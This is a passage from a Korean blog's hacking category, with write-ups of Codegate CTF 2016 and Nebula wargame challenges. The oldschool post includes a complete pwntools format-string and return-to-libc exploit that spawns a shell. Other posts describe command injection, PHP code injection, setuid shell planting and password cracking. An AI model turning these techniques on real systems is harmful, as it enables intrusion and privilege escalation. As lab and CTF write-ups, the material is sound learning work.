해킹/시스템 - 10

  1. Codegate CTF 2016 - oldschool 2016.03.22
  2. Codegate CTF 2016 - miccheck 2016.03.21
  3. nebula_level09 2015.11.07
  4. nebula_level08 2015.11.06
  5. nebula_level06 1 2015.11.04
  6. nelbula_level05 1 2015.10.29
  7. nebula_level04 2015.10.28
  8. nebula_level03 2015.10.28

Codegate CTF 2016 - oldschool

해킹/시스템 2016. 3. 22. 21:08


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( )
{
	char buf[1024] = { 0, };

	printf( "YOUR INPUT :" );

	fgets( buf, 1020, stdin );

	printf( "RESPONSE :" );
	
	printf( buf );

	return 0;
}


간단한 포맷스트링이라고 생각해서 금방 풀줄 알았지만 결국 실패했던 문제.
당시 잠자다 늦게 시작해서 시간이 없다는 생각때문에 오히려 차분하게 이것저것 시도해 보지 못하고 스텍주소를 브루트 포싱으로 때려맞추려고 했었다.
결국 밴을 당했는지 나같은 사람이 많아서 서버가 터졌는지 한동안 접속이 안되서 접었었다.


이제와서 차분히 풀어보니 풀렸다.
아쉽게도 서버는 지금은 닫혀서 접속이 되지 않으나 로컬 환경에서 넷캣 으로 포트를 열어놓고 실험한 결과 잘 풀렸다.


잡설이 길었는데 결국 푼 방법은
1.fini_array부분을 포맷스트링 버그로 변경해서 다시 main을 실행시킴
2.이때 $ 인덱스를 사용해서 뒷쪽에 있는 스텍주소와 라이브러리 주소를 읽어옴(미리 디버깅으로 몇바이트 뒤에 주소들이 있는지 확인)
3.읽어온 주소를 바탕으로 계산해서 다시 RTL 공격



자세한 디버깅 과정들은 생략. 풀이코드:

#-*-encoding:utf-8-*-
#python
from pwn import *

libc_base=0x1873e
system_offset=0x3b180
sh_offset=0x15f61b

#old=remote('175.119.158.131', 17171)
old=remote('localhost', 1234)

##################fini_array에 main의 시작점을 넣고 stack과 libc의 주소를 계산하기 위한 베이스 출력
payload1=p32(0x080496dc)+p32(0x080496dc+2)+"stack:"+"%273$8x"+"lib:"+"%271$8x"

c1=0x0804-(4+4+6+8+4+8)
c2=0x849b-0x0804  ###main=0x0804849b

payload1 += "%" + str(c1) + "c"
payload1 += "%8$hn"
payload1 += "%" + str(c2) + "c"
payload1 += "%7$hn"


old.sendline(payload1)
resp=old.recv()
print resp

##################response로 부터 주소 추출
index=resp.find("stack:")+6
stack=resp[index:index+8]

index=resp.find("lib:")+4
lib=resp[index:index+8]


##################main의 리턴주소와 system, "/bin/sh"주소 계산                                       
ret_addr = int(stack, 16) - (0xbffff714 - 0xbffff61c)                                                
system=int(lib, 16) + (system_offset - libc_base)                                                    
sh=int(lib, 16) + (sh_offset - libc_base)                                                            


##################%hn으로 사용하기 위해 주소를 반으로 잘라서 저장                                    
system1=format(system, 'x')[4:8]                                                                     
system2=format(system, 'x')[:4]                                                                      
sh1=format(sh, 'x')[4:8]                                                                             
sh2=format(sh, 'x')[:4]                                                                              

dic={system1:'7', system2:'8', sh1:'9', sh2:'10'} #%x$hn에서 x에 들어갈 인덱스와 연결하기 위한 딕셔너리
arr_list=list(dic.keys())                                                                            
arr_list.sort()                                                                                      


##################정렬된 리스트로 작은수부터 해당하는 인덱스에 넣어주는 페이로드                     
payload2=p32(ret_addr)+p32(ret_addr+2)+p32(ret_addr+8)+p32(ret_addr+10)                              
payload2 += "%" + str(int(arr_list[0], 16) - 4*4) + "c"                                              
payload2 += "%" + dic.get(arr_list[0]) + "$hn"                                                       
payload2 += "%" + str(int(arr_list[1], 16) - int(arr_list[0], 16)) + "c"                             
payload2 += "%" + dic.get(arr_list[1]) + "$hn"                                                       
payload2 += "%" + str(int(arr_list[2], 16) - int(arr_list[1], 16)) + "c"                             
payload2 += "%" + dic.get(arr_list[2]) + "$hn"                                                       
payload2 += "%" + str(int(arr_list[3], 16) - int(arr_list[2], 16)) + "c"                             
payload2 += "%" + dic.get(arr_list[3]) + "$hn"                                                       

old.sendline(payload2)                                                                               

old.interactive()   








'해킹 > 시스템' 카테고리의 다른 글

Codegate CTF 2016 - miccheck  (0) 2016.03.21
nebula_level09  (0) 2015.11.07
nebula_level08  (0) 2015.11.06
nebula_level06  (1) 2015.11.04
nelbula_level05  (1) 2015.10.29
Tags
Social

Codegate CTF 2016 - miccheck

해킹/시스템 2016. 3. 21. 21:47


miccheck의 소스인데 비슷한 문제를 몇번 풀어봐서 금방 풀줄 알았으나 오히려 시간만 많이 잡아먹은 1점짜리 문제다.

writeup을 보니 계속 잡고있었어도 풀지는 못했을 것 같다.


` 라는 반대로 꺾인 따옴표를 사용하는 문제였는데 이 백쿼트로 묶인 문자열은 bash에서 본 문장보다 먼저 처리된다고 한다.




이런식으로 mic.flag.txt의 심볼릭 링크를 열어서 `cat    b`를 먼저 실행한 결과값이 ls - al로 들어가도록 해줬더니 오류메시지의 끝부분에 let the hacking begins라는 flag 내용이 묻어나왔다.

공백은 사용할 수 없어서 탭을 사용했다.


간단한 문제지만 아직 쉘 명령어를 이정도로 자유자재로 사용하지는 못했고 탭을 공백 대신 사용하는 등의 상상력도 많이 부족했다.

상상력이야 어쩔 수 없지만 그래도 비슷한 류의 문제가 또 나오면 경험으로써 도움은 되겠지.


'해킹 > 시스템' 카테고리의 다른 글

Codegate CTF 2016 - oldschool  (0) 2016.03.22
nebula_level09  (0) 2015.11.07
nebula_level08  (0) 2015.11.06
nebula_level06  (1) 2015.11.04
nelbula_level05  (1) 2015.10.29
Tags
Social

nebula_level09

해킹/시스템 2015. 11. 7. 03:05

nebula_level09 포스팅입니다.


flag09파일 의 php 소스인듯 합니다.

argv[2]를 통해 markup 함수로 들어가는 use_me 변수를 사용해서 공격하는게 확실해 보입니다.

변수 이름이 use_me 이니까요.


사실 php에 전혀 익숙하질 않아서 슬래시 역슬래시가 마구잡이로 섞여있는 코드를 보면서 머리가 참 아팠습니다.

preg_replace는 문자열에서 패턴으로 검출한 부분을 변경해 주는 함수입니다.

markup 함수 안쪽에 이 함수게 세번 호출되는데 뒷쪽에 두번은 코드를 직접 주입할 수 없게 [, ] 를 바꿔주는 일반적인 기능인 것으로 보입니다만 처음 호출되는 preg_replace가 어딘가 취약해 보입니다.

$filename을 통해 전달된 해당 파일의 내용이 $contents 안으로 들어가고 그것을 변경해주는데

"[email" 뒤에 부분을 "]"를 만날때 까지 spam("\2")로 바꿔준다는 내용입니다.(가독성을 위해 \를 빼줫습니다.)

\2가 무슨뜻인지 몰라 잠시 헤맸지만 ()를 두번째 만나는 부분이라는 뜻이란 걸 알아냈습니다. 즉 email이라는 문자 뒤에 나오는 것들을 집어다 넣겠다는 뜻이군요. /e는 앞의 문자열이 php코드라는 뜻이라고 합니다.




tmp밑에 level09.txt를 생성해서 저렇게 만들어주고 argv[1]으로 level09.txt의 경로를, argv[2]로 /bin/bash를 넣어줘봤습니다.




그대로 /bin/bash를 뱉어내기만 할 뿐 실행되지는 않습니다.

system(bin/bash), exec(/bin/bash) 어떻게 넣어봐도 코드로 인식하지 않는지 그냥 그대로 뱉어버립니다.

여기서 1차 멘붕이 왔습니다...


 그러던 중에 http://www.madirish.net/node/437에서 재밌는 자료를 찾았는데





짧은 영어이지만 해석해보니 flag가 있을 경우 php 함수가 변수에 있는 문자열을 찍는 것이 아니라 함수를 직접 실행켜 phpinfo를 불러오는 오류가 있다는 내용이었습니다.

그런데 위의 시도에서는 코드가 실행되지 않고 정상적으로 뱉어냈을까요?? 해당 문서의 전문을 읽어보니 spam함수의 괄호 안에 ("") 이런식으로 따옴표가 들어가 있기 때문인 것 같습니다. 위 문서의 경우에는 strtoupper("\\1")이렇게 했더니 정상적으로 대문자로 바꾸는 기능을 수행했으나 strtoupper(\\1)이렇게 따옴표가 없을 때 함수이름까지 출력되었거든요.. 이부분을 우회하기 위해서 level09.txt를 바꿔야 했습니다.

또 이것저것 뒤져보다 정규표현식에서 \\2와 {$2}가 혼용될 수 있다는 정보를 찾았고 그부분을 이용하기로 했습니다. \\2로 사용될 경우 spam("")안에서 결국 문자열로 취급 될 뿐이라서요.




여러가지로 시도를 해본 결과 level09.txt를 [email {${`$use_me`}}]로 바꿔준후...






쉘이 떴습니다!! 근데 getflag를 제대로 실행하지도 못하고 exit를 받고 나서야 안된거라고 뱉어내는 이상한 삐꾸 쉘이 떴네요...ㅎㅎ





쉘을 띄워주는 소스를 짠 후 gcc 명령어로 컴파일을 시켜 아웃풋을 뱉도록 해봐야 겠습니다.

argv[1]로 uid를 넣도록 해놨습니다.





./flag09 /tmp/level09.txt "gcc -o /home/flag09/getshell_id /tmp/getshell_id.c; chmod 7777 /home/flag09/getshell_id" 이런 명령으로 컴파일을 했더니 성공적으로 getshell_id가 생성되었습니다.

중간에 명령어를 바보같이 입력해서 캡쳐가 지저분해지긴 했으나... 결국 getflag 실행에 성공했군요.

솔직히 php를 거의 모르는 상황에서 맨땅에 헤딩하는 경우이고 시스템보다는 웹쪽 내용인 것 같아 넘어가고 싶기도 했으나 어쩐지 풀릴듯 풀릴듯 싶어 계속 잡고있게 만드는 문제였네요... 정말 오래걸렸습니다.



끝-






'해킹 > 시스템' 카테고리의 다른 글

Codegate CTF 2016 - oldschool  (0) 2016.03.22
Codegate CTF 2016 - miccheck  (0) 2016.03.21
nebula_level08  (0) 2015.11.06
nebula_level06  (1) 2015.11.04
nelbula_level05  (1) 2015.10.29
Tags
Social

nebula_level08

해킹/시스템 2015. 11. 6. 17:37

nebula level08 포스팅입니다.



level08 문제는 패킷을 캡쳐한 pcap파일입니다.

VIDOQ님 포스팅을 보니 칼리리눅스에서 옮기셨던데 저는 칼리리눅스 받아놓은게 없어 윈도우로 옮겨보았습니다.


xshell을 사용하고 있는데 권한상 바로 파일을 옮기지는 못하고scp를 사용해 우분투로 옮겨서 다시 윈도우로 옮겼습니다.

scp -P 22 ./capture.pcap root@IP:/root

scp 존재를 모르고 있었는데 덕분에 명령어 하나 알아가네요

scp란 로컬호스트와 원격 호스트간의 파일전송을 해주는 ssh기반 전송이라고 합니다.

secure copy라고 하네요



와이어 샤크에서 이 pcap파일을 연후 TCP stream 기능으로 보면 패스워드가 바로 노출됩니다.

이 기능은

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

If you are working with TCP based protocols it can be very helpful to see the data from a TCP stream in the way that the application layer sees it. Perhaps you are looking for passwords in a Telnet stream, or you are trying to make sense of a data stream. Maybe you just need a display filter to show only the packets of that TCP stream. If so, Wireshark’s ability to follow a TCP stream will be useful to you. 출처:https://www.wireshark.org/docs/wsug_html_chunked/ChAdvFollowTCPSection.html

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

TCP를 application layer에서 보는대로 나타내주는 기능이라고 합니다.


백스페이스 7f를 감한한 패스워드는 backd00Rmate




끝-

'해킹 > 시스템' 카테고리의 다른 글

Codegate CTF 2016 - miccheck  (0) 2016.03.21
nebula_level09  (0) 2015.11.07
nebula_level06  (1) 2015.11.04
nelbula_level05  (1) 2015.10.29
nebula_level04  (0) 2015.10.28
Tags
Social

nebula_level06

해킹/시스템 2015. 11. 4. 16:19

nebula_level06 포스팅입니다.


포스팅이 계속 쳐지네요.. 시험 끝나고도 과제가 끊임없이 나와서..ㅋㅋ

열심히 해도 모자랄 판인데 뭔가 할게 너무 많으니 오히려 의욕이 사라지는 듯 합니다.

우선 오늘은 전에 풀었던 nebula06 포스팅 정도만 올리고 과제 마치는 대로 슬슬 속도 붙여 보겠습니다.


flag06폴더에는 아무것도 없습니다.

힌트는 flag06이 /etc/passwd에 암호화된 패스워드를 저장하는 구버전의 패스워드를 사용하고 있다는 것입니다.



먼저 passwd파일에 flag06의 비밀번호가 암호화 되어 저장된 것을 확인합니다.


wget 으로 존더리퍼를 받아서 압축을 풀어줍니다.





src폴더에서 make clean generic 명령어로 설치하고 돌리니 flag06의 패스워드를 hello로 크랙해 줬습니다.

flag06으로 접속해서 패스워드 hello를 입력해 주면 끝!



ps. 존더리퍼가 생각보다 굉장히 까다로운 툴이더군요 지금도 돌리면 나오다 안나오다 합니다.

설치 환경이나 패스워드 덤프의 상태 등등.... 여러가지 환경적인 요인이 영향을 미치는 것 같은데

이것때문에 참 많이 헤맸습니다 윈도우로 옮겨서도 테스트 해보고... 다른 리눅스에서도 해보고 명령어도 이것저것 웹에 있는건 거진 다 입력해본 것 같네요...ㅜㅜ 이때 힘이 다 빠져서 진도가 늦어지는 감도 있습니다...

너무 게으르다고 생각하지 않아주셨으면...ㅠ


'해킹 > 시스템' 카테고리의 다른 글

nebula_level09  (0) 2015.11.07
nebula_level08  (0) 2015.11.06
nelbula_level05  (1) 2015.10.29
nebula_level04  (0) 2015.10.28
nebula_level03  (0) 2015.10.28
Tags
Social

nelbula_level05

해킹/시스템 2015. 10. 29. 00:25

nebula_level05 포스팅입니다.



flag05 폴더로 가보니 숨김파일밖에 없습니다. 하지만 파란색 글씨로 표시되는 것들은 다른 폴더에는 없는 것 들 입니다.


.ssh폴더는 ssh연결에 필요한 인증키와 rsa에 쓰이는 공개키, 비밀키 같은 것이 있고, 인증된 상대의 퍼블릭 키를 저장해서 자동으로 로그인 시켜주는 기능도 있습니다.


제가 이걸 어떻게 아느냐하면 nebula 처음 세팅할 때 분명 ssh포트가 열려있는데 일치하는 key 알고리즘을 찾을수 없다며 xshell이 계속 연결을 못하더군요.... 한동안 이걸 고치겠다고 .ssh폴더와 씨름을 했댔습니다.

삽질이라고 생각했는데 이런식으로 도움이 될 줄은 몰랐네요.

여담이지만 아직 그문제 못고쳤습니다...ㅂㄷㅂㄷ;;; xshell-개인우분투-nebula로 접속해서 쓰는중.. nebula 접속 프로그램을 우분투 안에 만들어서 나름 편하게 하고 잇습니다.



음 아쉽게도 .ssh폴더에는 접근 권한이 없네요

.backup 폴더부터 살펴보겠습니다.




매우 수상한 압축파일이 보여 미리 생성해둔 /tmp/flag05 폴더에 압축을 풀어봤습니다. -C 옵션 찾느라 한참 걸렸네요 -c 아니고 -C입니다..

기존 폴더에 그대로 풀면 권한문제가 생기니 다른 폴더에 넣어야 합니다.

압축을 푼 파일들의 목록을 보니 .ssh폴더에 있던 내용인 것 같네요.


압축을 푼 곳에는 아예 .ssh폴더가 하나 있었습니다. 사실 보통의 경우라면 이것만으로 권한을 얻을 수 있을 것 같지는 않습니다. authorized_keys에 들어있는 공개키를 자신의 공개키인 것 처럼 속인다고 해도 자신의 비밀키와 쌍이 맞지 않을테니까요.

하지만 이것들을 훑어보다가 신기한걸 발견했습니다.




캡쳐에 나온것 처럼 이 .ssh안의 authorized_key와 id_rsa.pub은 같은 값이 들어있습니다. 그말인 즉슨 flag05의 authorized_key가 자신의 공개키와 같으므로 그에 대응하는 비밀키도 자신의 비밀키일 거라는 것입니다.


그렇다면 제가 할일은 그냥 level05 폴더안에 원래 .ssh를 지우고 이거를 집어넣으면 됩니다. 정확히는 flag05의 authorized_key와 그에 대응하는 비밀키를 알았으니 id_rsa.pub와 id_rsa를 각각에 해당하는 값으로 바꿔주면 될겁니다.





backup 안에 있던 ssh폴더를 level05로 옮겨주었습니다. 이제 level05에서 flag05로 ssh 연결을 시도해 보겠습니다.




예상대로 비밀번호 인증 없이 flag05로 로그인 되었고 플래그를 띄우는데 성공했습니다!


끝-



'해킹 > 시스템' 카테고리의 다른 글

nebula_level08  (0) 2015.11.06
nebula_level06  (1) 2015.11.04
nebula_level04  (0) 2015.10.28
nebula_level03  (0) 2015.10.28
nebula_level02  (0) 2015.10.28
Tags
Social

nebula_level04

해킹/시스템 2015. 10. 28. 23:12

nebula_level04 포스팅입니다.



flag04 프로그램과 token이 들어있습니다. 그냥 실행시키려니 읽을 파일을 달라길래 token을 줘봤습니다.

뱉어버리네요. 역시 이렇게 간단할리가 없습니다.

그럼 gdb로 flag04를 열어서 차분히 보려 했으나...




//출처:https://www.mattandreko.com/2011/12/05/exploit-exercises-nebula-04/


자! 드디어 어셈분석에 한계를 느껴서 코드를 업어왔습니다. 이거 원래는 nebula 공홈이나 어딘가에 힌트로 있어야 하는 것 같습니다. 제가 치팅하는게 아닙니다... 아닐겁니다.

여담이지만 wirte-up 보기 싫어서 꺼내서 디컴파일할까도 생각을 해봤는데 권한문제때문에 바이너리를 가지고 나가는 것도 안되더군요..



아무튼 뭐 코드를 보니 argv로 token의 경로를 받아서 읽어주는 프로그램이군요. 아이러니한 점은 2번째 if문에서 인자값에 "token"문자열이 들어가면 안되는데 뒷쪽에서 open 함수를 호출하기 위해서는 token이 들어가는 경로가 필요하다는 것입니다.

즉 token을 실행시켜야 하지만 token이라는 이름이 들어가면 안됩니다. 볼드모트같은 건가?


심볼릭 링크를 사용하면 간단하게 우회할 수 있을 것 같습니다.





/tmp 밑에 /home/flag04/token을 가리키는 심볼릭 링크 flag04_tok을 만들어주고 이것을 flag04 프로그램의 인자로 전달해주면 알수없는 문자들이 나옵니다.




사실 이부분에서 개연성이 다소 부족하기는 하지만 저게 비밀번호일 거라는 생각을 했습니다.

su로 flag04로 로그인~ 복붙~ 성공입니다.


끝-


'해킹 > 시스템' 카테고리의 다른 글

nebula_level06  (1) 2015.11.04
nelbula_level05  (1) 2015.10.29
nebula_level03  (0) 2015.10.28
nebula_level02  (0) 2015.10.28
nebula_level01  (0) 2015.10.28
Tags
Social

nebula_level03

해킹/시스템 2015. 10. 28. 22:35


flag03 안에는 디렉토리 하나와 스크립트 하나가 들어있습니다.

스크립트 내용은 writable.d 폴더 안에 있는 모든 프로그램을 실행시킨 뒤 삭제하는 기능인 듯 합니다.

처음엔 writable.d 안에 쉘을 실행시키는 프로그램을 넣고 이 스크립트를 실행시켜야 하는 문제인 줄 알았습니다. 하지만 권한때문에 실행이 되지 않더군요. writable.d 안의 파일들이 자꾸 사라져서 어느정도 눈치는 챘습니다만 write-up을 보고나서야 이 스크립트가 일정 시간을 주기로 자동으로 동작하는 것이라는걸 알았습니다.

exploit-exercise 홈페이지가 닫혀서 그런지 제가 받은 iso 파일이 이상한건지 이런 힌트 부분이나 다른 라이트업에서 올려놓고 분석하는 코드같은 것들이 전혀 없어서 좀 당황스럽네요.



우선 그렇다면 스크립트는 flag03의 권한으로 자동으로 실행될 테니 쉘을 띄우는 프로그램을 .d 안에 넣고 기다리기만 하면 되겠네요.


이렇게 간단하게 생각했지만 여기서도 지식의 부족으로 한참 헤메고 말았습니다.


//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

The -x option starts a BASH shell in debug mode. You can see all the details of how your command/script is processed. It's a good way to find some bugs if your script does not do what you would expect to

And just as Alex said in the comment above. To run a command in BASH, you have to use -c option like bash -x -c ls.// 출처:  http://stackoverflow.com/questions/10107124/bash-x-command


In UNIX environments, ulimit -t is used to set the maxiumum CPU time that can be used by a process. If that time limit is exceeded, the operating system sends the SIGXCPU signal to the process, which then ends.// 출처: http://support.sas.com/kb/43/126.html

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

위에 스크립트에서 사용된 ulimit -t, bash -x 두가지 옵션에 대한 설명입니다.

bash에 -x 옵션이 들어가면 디버그 모드로 실행한다는 뜻이랍니다 이 옵션으로는 바이너리 파일을 실행시킬 수 없으며 스크립트는 실행이 가능하다는 사실을 확인했습니다. 바이너리를 실행시키려고 하면 cannot execute binary file이라는 오류메시지가 나오며 위 설명에서처럼 -c 옵션을 추가하면 실행시킬 수 있지만 저 스크립트에 -c를 넣기는 힘들어 보입니다.

또한 단지 /bin/sh를 띄우는 스크립트 역시 의미가 없습니다. ulimit -t 5 가 걸려있기 때문에 9.3인지 2인지 곱하기 5 밀리세컨드?? 아무튼 매우 짧은 시간동안만 쉘이 열리게 됩니다.


그래서 매우 짧은 시간동안 얻는 권한을 이용하기 위해 쉘 프로그램을 컴파일하고 권한을 변경시키는 스크립트를 사용하도록 하겠습니다. 권한은 금방 사라지지만 컴파일된 아웃풋을 다른 폴더에 저장한다면 권한을 가진 프로그램이 남아있을 겁니다.



스크립트를 통해 컴파일할 쉘 실행 프로그램입니다. 996은 cat /etc/passwd 에서 읽은 flag03의 id입니다. 5라는 타임리미트 안에 이것을 컴파일하고 실행할 수 있도록 권한을 변경해 주어야 합니다.



스크립트는 python -c 'print "gcc -o /home/flag03/shell /tmp/level03.c; chmod 7777 /home/flag03/shell;"' > /home/flag03/writable.d/loader; chmod 7777 /home/flag03/writable.d/loader; 이렇게 짰습니다. 길어서 복잡해 보이긴 하지만 별거 없습니다. > 기준으로 왼쪽은 스크립트의 내용 즉 쉘을 실행시킬 프로그램을 컴파일/권한변경 하는 스크립트 > 이후는 그것을 실행가능한 스크립트의 형태로 loader라는 이름으로 내보내고 권한을 변경시켜 주는 내용입니다. 권한은 귀찮아서 모두 7777로 해버렸습니다.

이제 생성된 shell 프로그램을 실행시켜 보겠습니다.



성공입니다.


-끝



'해킹 > 시스템' 카테고리의 다른 글

nebula_level06  (1) 2015.11.04
nelbula_level05  (1) 2015.10.29
nebula_level04  (0) 2015.10.28
nebula_level02  (0) 2015.10.28
nebula_level01  (0) 2015.10.28
Tags
Social